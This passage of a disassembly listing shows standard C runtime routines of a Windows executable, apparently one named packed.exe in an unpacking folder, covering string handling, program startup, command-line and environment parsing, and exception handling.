push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_402789: ; CODE XREF: sub_402770+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_402789
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_4027B1
mov edx, ds:dword_4070CC
loc_4027B1: ; CODE XREF: sub_402770+39j
; sub_402770+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_4027D1
test al, al
jz short loc_4027D1
inc edx
jmp short loc_4027B1
; ---------------------------------------------------------------------------
loc_4027D1: ; CODE XREF: sub_402770+58j
; sub_402770+5Cj
mov ebx, edx
loc_4027D3: ; CODE XREF: sub_402770+81j
mov al, [edx]
test al, al
jz short loc_4027F7
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_4027F3
inc edx
jmp short loc_4027D3
; ---------------------------------------------------------------------------
loc_4027F3: ; CODE XREF: sub_402770+7Ej
and byte ptr [edx], 0
inc edx
loc_4027F7: ; CODE XREF: sub_402770+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov ds:dword_4070CC, edx
and eax, ebx
pop ebx
leave
retn
sub_402770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_402810 proc near ; CODE XREF: sub_401B59+E9p
; sub_401B59+270p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_402881
sub_402810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_402820 proc near ; CODE XREF: sub_401F4B+15Dp
; sub_401F4B+16Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_40283C
loc_40282D: ; CODE XREF: sub_402820+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_40286F
test ecx, 3
jnz short loc_40282D
loc_40283C: ; CODE XREF: sub_402820+Bj
; sub_402820+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40283C
mov eax, [ecx-4]
test al, al
jz short loc_40287E
test ah, ah
jz short loc_402879
test eax, 0FF0000h
jz short loc_402874
test eax, 0FF000000h
jz short loc_40286F
jmp short loc_40283C
; ---------------------------------------------------------------------------
loc_40286F: ; CODE XREF: sub_402820+12j
; sub_402820+4Bj
lea edi, [ecx-1]
jmp short loc_402881
; ---------------------------------------------------------------------------
loc_402874: ; CODE XREF: sub_402820+44j
lea edi, [ecx-2]
jmp short loc_402881
; ---------------------------------------------------------------------------
loc_402879: ; CODE XREF: sub_402820+3Dj
lea edi, [ecx-3]
jmp short loc_402881
; ---------------------------------------------------------------------------
loc_40287E: ; CODE XREF: sub_402820+39j
lea edi, [ecx-4]
loc_402881: ; CODE XREF: sub_402810+5j
; sub_402820+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_4028A6
loc_40288D: ; CODE XREF: sub_402820+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_4028F8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_40288D
jmp short loc_4028A6
; ---------------------------------------------------------------------------
loc_4028A1: ; CODE XREF: sub_402820+9Ej
; sub_402820+B8j
mov [edi], edx
add edi, 4
loc_4028A6: ; CODE XREF: sub_402820+6Bj
; sub_402820+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_4028A1
test dl, dl
jz short loc_4028F8
test dh, dh
jz short loc_4028EF
test edx, 0FF0000h
jz short loc_4028E2
test edx, 0FF000000h
jz short loc_4028DA
jmp short loc_4028A1
; ---------------------------------------------------------------------------
loc_4028DA: ; CODE XREF: sub_402820+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4028E2: ; CODE XREF: sub_402820+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_4028EF: ; CODE XREF: sub_402820+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4028F8: ; CODE XREF: sub_402820+72j
; sub_402820+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_402820 endp
; =============== S U B R O U T I N E =======================================
sub_402900 proc near ; CODE XREF: sub_401E8B+19p
arg_0 = dword ptr 4
cmp ds:dword_406E7C, 1
jle short loc_40291A
push 107h
push [esp+4+arg_0]
call sub_402B3C
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40291A: ; CODE XREF: sub_402900+7j
mov eax, [esp+arg_0]
mov ecx, ds:off_406C70
mov ax, [ecx+eax*2]
and eax, 107h
retn
sub_402900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40292E proc near ; CODE XREF: start+7j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_405150
push offset sub_4035A8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call ds:dword_4050D4 ; GetVersion
xor edx, edx
mov dl, ah
mov ds:dword_4070F4, edx
mov ecx, eax
and ecx, 0FFh
mov ds:dword_4070F0, ecx
shl ecx, 8
add ecx, edx
mov ds:dword_4070EC, ecx
shr eax, 10h
mov ds:dword_4070E8, eax
xor esi, esi
push esi
call sub_403472
pop ecx
test eax, eax
jnz short loc_40299A
push 1Ch
call sub_402A49
pop ecx
loc_40299A: ; CODE XREF: sub_40292E+62j
mov [ebp+var_4], esi
call sub_4032C7
call ds:dword_4050D0 ; GetCommandLineA
mov ds:dword_4075F8, eax
call sub_403195
mov ds:dword_4070D0, eax
call sub_402F48
call sub_402E8F
call sub_402BB1
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call ds:dword_4050CC ; GetStartupInfoA
call sub_402E37
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_4029E7
movzx eax, [ebp+var_2C]
jmp short loc_4029EA
; ---------------------------------------------------------------------------
loc_4029E7: ; CODE XREF: sub_40292E+B1j
push 0Ah
pop eax
loc_4029EA: ; CODE XREF: sub_40292E+B7j
push eax
push [ebp+var_64]
push esi
push esi
call ds:dword_4050C8 ; GetModuleHandleA
push eax
call sub_4020D9
mov [ebp+var_60], eax
push eax
call sub_402BDE
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_402CB3
pop ecx
pop ecx
retn
sub_40292E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_402BEF
; =============== S U B R O U T I N E =======================================
sub_402A24 proc near ; CODE XREF: sub_402E8F+4Ep
; sub_402E8F+7Dp ...
arg_0 = dword ptr 4
cmp ds:dword_4070D8, 1
jnz short loc_402A32
call sub_403680
loc_402A32: ; CODE XREF: sub_402A24+7j
push [esp+arg_0]
call sub_4036B9
push 0FFh
call ds:off_406C60
pop ecx
pop ecx
retn
sub_402A24 endp
; =============== S U B R O U T I N E =======================================
sub_402A49 proc near ; CODE XREF: sub_40292E+66p
arg_0 = dword ptr 4
cmp ds:dword_4070D8, 1
jnz short loc_402A57
call sub_403680
loc_402A57: ; CODE XREF: sub_402A49+7j
push [esp+arg_0]
call sub_4036B9
pop ecx
push 0FFh
call ds:dword_4050D8 ; ExitProcess
retn
sub_402A49 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_402A86
loc_402A70: ; CODE XREF: sub_402A86+17j
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_402A86
; ---------------------------------------------------------------------------
align 10h
xor eax, eax
mov al, [esp+8]
; =============== S U B R O U T I N E =======================================
sub_402A86 proc near ; CODE XREF: sub_4026F0+6Ej
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00402A70 SIZE 00000005 BYTES
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_402AAB
loc_402A98: ; CODE XREF: sub_402A86+23j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_402A70
test cl, cl
jz short loc_402AF4
test edx, 3
jnz short loc_402A98
loc_402AAB: ; CODE XREF: sub_402A86+10j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_402AB6: ; CODE XREF: sub_402A86+5Bj
; sub_402A86+6Aj ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_402AF8
and eax, 81010100h
jz short loc_402AB6
and eax, 1010100h
jnz short loc_402AF2
and esi, 80000000h
jnz short loc_402AB6
loc_402AF2: ; CODE XREF: sub_402A86+62j
; sub_402A86+7Bj ...
pop esi
pop edi
loc_402AF4: ; CODE XREF: sub_402A86+1Bj
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_402AF8: ; CODE XREF: sub_402A86+54j
mov eax, [edx-4]
cmp al, bl
jz short loc_402B35
test al, al
jz short loc_402AF2
cmp ah, bl
jz short loc_402B2E
test ah, ah
jz short loc_402AF2
shr eax, 10h
cmp al, bl
jz short loc_402B27
test al, al
jz short loc_402AF2
cmp ah, bl
jz short loc_402B20
test ah, ah
jz short loc_402AF2
jmp short loc_402AB6
; ---------------------------------------------------------------------------
loc_402B20: ; CODE XREF: sub_402A86+92j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_402B27: ; CODE XREF: sub_402A86+8Aj
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_402B2E: ; CODE XREF: sub_402A86+7Fj
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_402B35: ; CODE XREF: sub_402A86+77j
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_402A86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402B3C proc near ; CODE XREF: sub_402900+12p
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_402B5A
mov ecx, ds:off_406C70
movzx eax, word ptr [ecx+eax*2]
jmp short loc_402BAC
; ---------------------------------------------------------------------------
loc_402B5A: ; CODE XREF: sub_402B3C+10j
mov ecx, eax
push esi
mov esi, ds:off_406C70
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_402B7F
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_402B88
; ---------------------------------------------------------------------------
loc_402B7F: ; CODE XREF: sub_402B3C+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_402B88: ; CODE XREF: sub_402B3C+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_40380C
add esp, 1Ch
test eax, eax
jnz short loc_402BA8
leave
retn
; ---------------------------------------------------------------------------
loc_402BA8: ; CODE XREF: sub_402B3C+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_402BAC: ; CODE XREF: sub_402B3C+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_402B3C endp
; =============== S U B R O U T I N E =======================================
sub_402BB1 proc near ; CODE XREF: sub_40292E+93p
mov eax, ds:dword_4075F4
test eax, eax
jz short loc_402BBC
call eax
loc_402BBC: ; CODE XREF: sub_402BB1+7j
push offset dword_406010
push offset dword_406008
call sub_402C99
push offset dword_406004
push offset dword_406000
call sub_402C99
add esp, 10h
retn
sub_402BB1 endp
; =============== S U B R O U T I N E =======================================
sub_402BDE proc near ; CODE XREF: sub_40292E+D2p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_402C00
add esp, 0Ch
retn
sub_402BDE endp
; =============== S U B R O U T I N E =======================================
sub_402BEF proc near ; CODE XREF: .text:00402A1Fp
; sub_402A24+1Cp
; DATA XREF: ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_402C00
add esp, 0Ch
retn
sub_402BEF endp
; =============== S U B R O U T I N E =======================================
sub_402C00 proc near ; CODE XREF: sub_402BDE+8p
; sub_402BEF+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp ds:dword_407124, edi
jnz short loc_402C1D
push [esp+4+arg_0]
call ds:dword_4050E0 ; GetCurrentProcess
push eax
call ds:dword_4050DC ; TerminateProcess
loc_402C1D: ; CODE XREF: sub_402C00+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov ds:dword_407120, edi
mov ds:byte_40711C, bl
jnz short loc_402C71
mov eax, ds:dword_4075F0
test eax, eax
jz short loc_402C60
mov ecx, ds:dword_4075EC
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_402C5F
loc_402C4C: ; CODE XREF: sub_402C00+5Dj
mov eax, [esi]
test eax, eax
jz short loc_402C54
call eax
loc_402C54: ; CODE XREF: sub_402C00+50j
sub esi, 4
cmp esi, ds:dword_4075F0
jnb short loc_402C4C
loc_402C5F: ; CODE XREF: sub_402C00+4Aj
pop esi
loc_402C60: ; CODE XREF: sub_402C00+3Cj
push offset dword_406018
push offset dword_406014
call sub_402C99
pop ecx
pop ecx
loc_402C71: ; CODE XREF: sub_402C00+33j
push offset dword_406020
push offset dword_40601C
call sub_402C99
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_402C97
push [esp+4+arg_0]
mov ds:dword_407124, edi
call ds:dword_4050D8 ; ExitProcess
loc_402C97: ; CODE XREF: sub_402C00+85j
pop edi
retn
sub_402C00 endp
; =============== S U B R O U T I N E =======================================
sub_402C99 proc near ; CODE XREF: sub_402BB1+15p
; sub_402BB1+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_402C9E: ; CODE XREF: sub_402C99+16j
cmp esi, [esp+4+arg_4]
jnb short loc_402CB1
mov eax, [esi]
test eax, eax
jz short loc_402CAC
call eax
loc_402CAC: ; CODE XREF: sub_402C99+Fj
add esi, 4
jmp short loc_402C9E
; ---------------------------------------------------------------------------
loc_402CB1: ; CODE XREF: sub_402C99+9j
pop esi
retn
sub_402C99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402CB3 proc near ; CODE XREF: sub_40292E+E3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_402DF4
test eax, eax
pop ecx
jz loc_402DE8
mov ebx, [eax+8]
test ebx, ebx
jz loc_402DE8
cmp ebx, 5
jnz short loc_402CE4
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_402DF1
; ---------------------------------------------------------------------------
loc_402CE4: ; CODE XREF: sub_402CB3+23j
cmp ebx, 1
jz loc_402DE3
mov ecx, ds:dword_407128
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov ds:dword_407128, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_402DD3
mov ecx, ds:dword_406F00
mov edx, ds:dword_406F04
add edx, ecx
push esi
cmp ecx, edx
jge short loc_402D33
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:406E90h[esi*4]
loc_402D2A: ; CODE XREF: sub_402CB3+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_402D2A
loc_402D33: ; CODE XREF: sub_402CB3+69j
mov eax, [eax]
mov esi, ds:dword_406F0C
cmp eax, 0C000008Eh
jnz short loc_402D4E
mov ds:dword_406F0C, 83h
jmp short loc_402DBE
; ---------------------------------------------------------------------------
loc_402D4E: ; CODE XREF: sub_402CB3+8Dj
cmp eax, 0C0000090h
jnz short loc_402D61
mov ds:dword_406F0C, 81h
jmp short loc_402DBE
; ---------------------------------------------------------------------------
loc_402D61: ; CODE XREF: sub_402CB3+A0j
cmp eax, 0C0000091h
jnz short loc_402D74
mov ds:dword_406F0C, 84h
jmp short loc_402DBE
; ---------------------------------------------------------------------------
loc_402D74: ; CODE XREF: sub_402CB3+B3j
cmp eax, 0C0000093h
jnz short loc_402D87
mov ds:dword_406F0C, 85h
jmp short loc_402DBE
; ---------------------------------------------------------------------------
loc_402D87: ; CODE XREF: sub_402CB3+C6j
cmp eax, 0C000008Dh
jnz short loc_402D9A
mov ds:dword_406F0C, 82h
jmp short loc_402DBE
; ---------------------------------------------------------------------------
loc_402D9A: ; CODE XREF: sub_402CB3+D9j
cmp eax, 0C000008Fh
jnz short loc_402DAD
mov ds:dword_406F0C, 86h
jmp short loc_402DBE
; ---------------------------------------------------------------------------
loc_402DAD: ; CODE XREF: sub_402CB3+ECj
cmp eax, 0C0000092h
jnz short loc_402DBE
mov ds:dword_406F0C, 8Ah
loc_402DBE: ; CODE XREF: sub_402CB3+99j
; sub_402CB3+ACj ...
push ds:dword_406F0C
push 8
call ebx ; _hread
pop ecx
mov ds:dword_406F0C, esi
pop ecx
pop esi
jmp short loc_402DDB
; ---------------------------------------------------------------------------
loc_402DD3: ; CODE XREF: sub_402CB3+52j
and dword ptr [eax+8], 0
push ecx
call ebx ; _hread
pop ecx
loc_402DDB: ; CODE XREF: sub_402CB3+11Ej
mov eax, [ebp+arg_0]
mov ds:dword_407128, eax
loc_402DE3: ; CODE XREF: sub_402CB3+34j
or eax, 0FFFFFFFFh
jmp short loc_402DF1
; ---------------------------------------------------------------------------
loc_402DE8: ; CODE XREF: sub_402CB3+Fj
; sub_402CB3+1Aj
push [ebp+arg_4]
call ds:dword_4050E4 ; UnhandledExceptionFilter
loc_402DF1: ; CODE XREF: sub_402CB3+2Cj
; sub_402CB3+133j
pop ebx
pop ebp
retn
sub_402CB3 endp
; =============== S U B R O U T I N E =======================================
sub_402DF4 proc near ; CODE XREF: sub_402CB3+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_406F08
cmp ds:dword_406E88, edx
push esi
mov eax, offset dword_406E88
jz short loc_402E21
lea esi, [ecx+ecx*2]
lea esi, ds:406E88h[esi*4]
loc_402E16: ; CODE XREF: sub_402DF4+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_402E21
cmp [eax], edx
jnz short loc_402E16
loc_402E21: ; CODE XREF: sub_402DF4+16j
; sub_402DF4+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:406E88h[ecx*4]
cmp eax, ecx
jnb short loc_402E34
cmp [eax], edx
jz short locret_402E36
loc_402E34: ; CODE XREF: sub_402DF4+3Aj
xor eax, eax
locret_402E36: ; CODE XREF: sub_402DF4+3Ej
retn
sub_402DF4 endp
; =============== S U B R O U T I N E =======================================
sub_402E37 proc near ; CODE XREF: sub_40292E+A5p
cmp ds:dword_4075E8, 0
jnz short loc_402E45
call sub_403D5B
loc_402E45: ; CODE XREF: sub_402E37+7j
push esi
mov esi, ds:dword_4075F8
mov al, [esi]
cmp al, 22h
jnz short loc_402E77
loc_402E52: ; CODE XREF: sub_402E37+33j
; sub_402E37+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_402E6F
test al, al
jz short loc_402E6F
movzx eax, al
push eax
call sub_403955
test eax, eax
pop ecx
jz short loc_402E52
inc esi
jmp short loc_402E52
; ---------------------------------------------------------------------------
loc_402E6F: ; CODE XREF: sub_402E37+21j
; sub_402E37+25j
cmp byte ptr [esi], 22h
jnz short loc_402E81
loc_402E74: ; CODE XREF: sub_402E37+52j
inc esi
jmp short loc_402E81
; ---------------------------------------------------------------------------
loc_402E77: ; CODE XREF: sub_402E37+19j
cmp al, 20h
jbe short loc_402E81
loc_402E7B: ; CODE XREF: sub_402E37+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_402E7B
loc_402E81: ; CODE XREF: sub_402E37+3Bj
; sub_402E37+3Ej ...
mov al, [esi]
test al, al
jz short loc_402E8B
cmp al, 20h
jbe short loc_402E74
loc_402E8B: ; CODE XREF: sub_402E37+4Ej
mov eax, esi
pop esi
retn
sub_402E37 endp
; =============== S U B R O U T I N E =======================================
sub_402E8F proc near ; CODE XREF: sub_40292E+8Ep
push ebx
xor ebx, ebx
cmp ds:dword_4075E8, ebx
push esi
push edi
jnz short loc_402EA1
call sub_403D5B
loc_402EA1: ; CODE XREF: sub_402E8F+Bj
mov esi, ds:dword_4070D0
xor edi, edi
loc_402EA9: ; CODE XREF: sub_402E8F+30j
mov al, [esi]
cmp al, bl
jz short loc_402EC1
cmp al, 3Dh
jz short loc_402EB4
inc edi
loc_402EB4: ; CODE XREF: sub_402E8F+22j
push esi
call sub_402300
pop ecx
lea esi, [esi+eax+1]
jmp short loc_402EA9
; ---------------------------------------------------------------------------
loc_402EC1: ; CODE XREF: sub_402E8F+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_403DA6
mov esi, eax
pop ecx
cmp esi, ebx
mov ds:dword_407104, esi
jnz short loc_402EE3
push 9
call sub_402A24
pop ecx
loc_402EE3: ; CODE XREF: sub_402E8F+4Aj
mov edi, ds:dword_4070D0
cmp [edi], bl
jz short loc_402F26
push ebp
loc_402EEE: ; CODE XREF: sub_402E8F+94j
push edi
call sub_402300
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_402F1F
push ebp
call sub_403DA6
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_402F12
push 9
call sub_402A24
pop ecx
loc_402F12: ; CODE XREF: sub_402E8F+79j
push edi
push dword ptr [esi]
call sub_402810
pop ecx
add esi, 4
pop ecx
loc_402F1F: ; CODE XREF: sub_402E8F+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_402EEE
pop ebp
loc_402F26: ; CODE XREF: sub_402E8F+5Cj
push ds:dword_4070D0
call sub_403D77
pop ecx
mov ds:dword_4070D0, ebx
mov [esi], ebx
pop edi
pop esi
mov ds:dword_4075E4, 1
pop ebx
retn
sub_402E8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402F48 proc near ; CODE XREF: sub_40292E+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp ds:dword_4075E8, ebx
push esi
push edi
jnz short loc_402F5F
call sub_403D5B
loc_402F5F: ; CODE XREF: sub_402F48+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call ds:dword_405038 ; GetModuleFileNameA
mov eax, ds:dword_4075F8
mov ds:off_407114, esi
mov edi, esi
cmp [eax], bl
jz short loc_402F84
mov edi, eax
loc_402F84: ; CODE XREF: sub_402F48+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_402FE1
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_403DA6
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_402FB4
push 8
call sub_402A24
pop ecx
loc_402FB4: ; CODE XREF: sub_402F48+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_402FE1
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov ds:dword_4070FC, esi
pop edi
pop esi
mov ds:dword_4070F8, eax
pop ebx
leave
retn
sub_402F48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402FE1 proc near ; CODE XREF: sub_402F48+47p
; sub_402F48+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_40300B
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_40300B: ; CODE XREF: sub_402FE1+20j
cmp byte ptr [eax], 22h
jnz short loc_403054
loc_403010: ; CODE XREF: sub_402FE1+58j
; sub_402FE1+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_403042
test dl, dl
jz short loc_403042
movzx edx, dl
test ds:byte_4073C1[edx], 4
jz short loc_403035
inc dword ptr [ecx]
test esi, esi
jz short loc_403035
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_403035: ; CODE XREF: sub_402FE1+46j
; sub_402FE1+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_403010
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_403010
; ---------------------------------------------------------------------------
loc_403042: ; CODE XREF: sub_402FE1+36j
; sub_402FE1+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_40304C
and byte ptr [esi], 0
inc esi
loc_40304C: ; CODE XREF: sub_402FE1+65j
cmp byte ptr [eax], 22h
jnz short loc_403097
inc eax
jmp short loc_403097
; ---------------------------------------------------------------------------
loc_403054: ; CODE XREF: sub_402FE1+2Dj
; sub_402FE1+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_40305F
mov dl, [eax]
mov [esi], dl
inc esi
loc_40305F: ; CODE XREF: sub_402FE1+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test ds:byte_4073C1[ebx], 4
jz short loc_40307A
inc dword ptr [ecx]
test esi, esi
jz short loc_403079
mov bl, [eax]
mov [esi], bl
inc esi
loc_403079: ; CODE XREF: sub_402FE1+91j
inc eax
loc_40307A: ; CODE XREF: sub_402FE1+8Bj
cmp dl, 20h
jz short loc_403088
test dl, dl
jz short loc_40308C
cmp dl, 9
jnz short loc_403054
loc_403088: ; CODE XREF: sub_402FE1+9Cj
test dl, dl
jnz short loc_40308F
loc_40308C: ; CODE XREF: sub_402FE1+A0j
dec eax
jmp short loc_403097
; ---------------------------------------------------------------------------
loc_40308F: ; CODE XREF: sub_402FE1+A9j
test esi, esi
jz short loc_403097
and byte ptr [esi-1], 0
loc_403097: ; CODE XREF: sub_402FE1+6Ej
; sub_402FE1+71j ...
and [ebp+arg_10], 0
loc_40309B: ; CODE XREF: sub_402FE1+19Ej
cmp byte ptr [eax], 0
jz loc_403184
loc_4030A4: ; CODE XREF: sub_402FE1+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4030B0
cmp dl, 9
jnz short loc_4030B3
loc_4030B0: ; CODE XREF: sub_402FE1+C8j
inc eax
jmp short loc_4030A4
; ---------------------------------------------------------------------------
loc_4030B3: ; CODE XREF: sub_402FE1+CDj
cmp byte ptr [eax], 0
jz loc_403184
test edi, edi
jz short loc_4030C8
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_4030C8: ; CODE XREF: sub_402FE1+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_4030CD: ; CODE XREF: sub_402FE1+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_4030D6: ; CODE XREF: sub_402FE1+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_4030DF
inc eax
inc ebx
jmp short loc_4030D6
; ---------------------------------------------------------------------------
loc_4030DF: ; CODE XREF: sub_402FE1+F8j
cmp byte ptr [eax], 22h
jnz short loc_403110
test bl, 1
jnz short loc_40310E
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_4030FD
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_4030FD
mov eax, edx
jmp short loc_403100
; ---------------------------------------------------------------------------
loc_4030FD: ; CODE XREF: sub_402FE1+10Dj
; sub_402FE1+116j
mov [ebp+arg_0], edi
loc_403100: ; CODE XREF: sub_402FE1+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_40310E: ; CODE XREF: sub_402FE1+106j
shr ebx, 1
loc_403110: ; CODE XREF: sub_402FE1+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_403125
inc ebx
loc_403118: ; CODE XREF: sub_402FE1+142j
test esi, esi
jz short loc_403120
mov byte ptr [esi], 5Ch
inc esi
loc_403120: ; CODE XREF: sub_402FE1+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_403118
